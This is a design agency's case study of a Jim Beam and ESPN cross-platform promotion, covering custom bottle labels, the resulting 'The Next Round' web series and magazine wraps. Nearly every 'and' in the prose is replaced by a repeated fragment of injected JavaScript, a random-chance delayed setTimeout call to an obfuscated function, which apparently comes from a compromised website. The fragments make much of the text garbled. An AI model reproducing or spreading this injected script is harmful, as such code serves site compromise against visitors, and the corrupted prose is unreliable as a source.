Barbour Design

JIM BEAM & ESPN CROSS-PLATFORM PROMOTION

It started with just a meeting.

jimbeam-espn-logos

The Direction

An ESPN marketing team was preparing for an important meeting with Jim Beam, a client they had not worked with before. In an age where the value of a cross-platform sell is heavily weighted, what do you arm your client with that exudes:

They understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the value andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and importance of the Jim Beam brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and

The two brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands, ESPN andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jim Beam can meld together in an organic way

ESPN’s wealth of media properties offer variety of vehicles across which Jim Beam can effectively communicate their brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and messaging

More impact andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and connection than a boring ‘ol presentation

Never show up empty handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anded.

The Translation

We designed, printed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wrapped several bottles of Jim Beam using their existing label andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seamlessly integrated ESPN’s cross-platform media package into the design.

The labels included key points about the ESPN brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and provided a memorable example of how well the two brandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands fit together.

A partnership was formed…

The Affect

In the words of the AE, “the client was blown away” by the example andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asked for more that he could share with others in his organization.

The impact of this unique marketing approach resulted in a partnership between ESPN andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Jim Beam—andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and led to one of the most talked about custom cross-platform content integrations.

andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and “The Next Round” was born.

The Results:

The Next Round, presented by Jim Beam, was a web series hosted by ESPN’s Scoop Jackson, featuring athletes, actors, comedians andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other celebrity guests discussing current topics, sports culture andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more. It was promoted on TV, online andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in print.

Barbour played a significant role in the rollout of The Next Round, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and created a Jim Beam cover wrap for ESPN The Magazine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and several print ads that ran for almost two years.